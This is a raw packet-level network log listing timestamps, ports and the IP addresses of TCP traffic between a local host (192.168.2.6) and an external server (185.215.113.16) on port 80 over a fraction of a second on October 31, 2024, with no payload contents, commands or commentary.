Oct 31, 2024 01:18:30.232815981 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232817888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232831955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232844114 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.232856035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232883930 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.232883930 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.235964060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236046076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236057043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236068010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236079931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236092091 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236159086 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236159086 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236207962 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236219883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236231089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236243010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236254930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236259937 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236267090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236298084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236310959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236319065 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236319065 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236330986 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236341953 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236347914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236365080 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236419916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236448050 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236536026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236560106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236561060 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236583948 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236594915 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236605883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236610889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236619949 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236630917 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236643076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236655951 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236659050 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236669064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236680984 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236681938 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236696005 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236731052 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236742973 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236753941 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236758947 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236773014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236784935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236794949 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236803055 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236803055 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236807108 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236820936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236833096 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236834049 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.236844063 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.236855984 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.237351894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237380981 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.237399101 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237411976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237426043 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.237592936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237606049 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237616062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237626076 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.237627983 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237641096 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237654924 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.237662077 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237673998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237684011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237687111 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.237695932 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237704039 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.237709045 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237720966 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237731934 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237735987 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.237744093 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237755060 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.237756014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.237781048 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.237860918 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.238157034 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238168955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238179922 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238190889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238204002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238230944 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238243103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238253117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238260031 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238265991 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238271952 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238279104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238363028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238373995 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238384962 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238394022 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.238406897 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238418102 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238420010 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.238430977 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238442898 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.238444090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238456011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238466978 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238487005 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.238491058 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238504887 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.238503933 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.239104986 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239116907 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239128113 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239140034 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239142895 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.239218950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239229918 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239247084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239248991 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.239259958 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239273071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239276886 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.239285946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239296913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239309072 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.239309072 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.239310026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239326954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239337921 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239352942 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.239382029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239393950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239403963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239407063 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.239417076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239428997 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239428997 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.239440918 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239454031 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239459038 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.239465952 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239469051 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.239478111 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.239505053 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.240113974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.240125895 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.240135908 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.240147114 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.240159988 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.240164042 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.240173101 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.240185022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.240196943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.240206957 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.240210056 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.240220070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.240232944 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.240391016 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.240391016 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.241128922 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.347306967 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.347345114 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.347441912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.347453117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.347464085 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.347543955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.347583055 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.349747896 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387203932 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387299061 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387315989 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387327909 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387357950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387375116 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387382984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387392998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387404919 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387420893 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387437105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387443066 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387449980 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387460947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387470007 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387471914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387485027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387500048 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387517929 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387533903 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387556076 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387593985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387605906 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387610912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387640953 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387650013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387655973 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387703896 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387736082 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387739897 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387753010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387773037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387789011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387799025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387805939 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387825966 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387831926 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387845039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387854099 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387865067 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387885094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387886047 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387912035 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387916088 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387937069 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.387948036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387960911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387986898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.387999058 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388000011 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388010025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388031006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388031006 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388050079 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388065100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388077021 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388086081 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388096094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388107061 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388117075 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388120890 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388145924 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388155937 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388169050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388187885 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388187885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388206959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388207912 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388219118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388231039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388243914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388248920 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388252020 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388254881 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388262033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388264894 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388267994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388308048 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388350010 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388386965 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388405085 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388417006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388438940 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388449907 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388462067 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388477087 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388479948 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388488054 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388489008 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388499022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388510942 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388513088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388540983 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388551950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388571978 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388576031 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388598919 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388602972 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388616085 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388628006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388638020 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388648987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388657093 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388660908 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388679028 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388684034 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388704062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388708115 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388720989 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388732910 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388744116 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388750076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388751030 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388798952 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388799906 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388811111 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388822079 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388843060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388859987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388870955 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388870955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388884068 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388895988 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388911009 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.388976097 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.388993979 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389003038 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389017105 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389041901 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389100075 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389117002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389128923 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389141083 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389152050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389161110 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389163017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389170885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389177084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389183044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389184952 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389230013 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389235020 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389270067 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389271021 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389282942 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389293909 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389349937 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389379025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389389038 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389399052 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389409065 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389420033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389421940 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389432907 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389444113 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389445066 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389456034 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389462948 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389482975 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389489889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389519930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389532089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389532089 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389570951 CET	49797	80	192.168.2.6	185.215.113.16
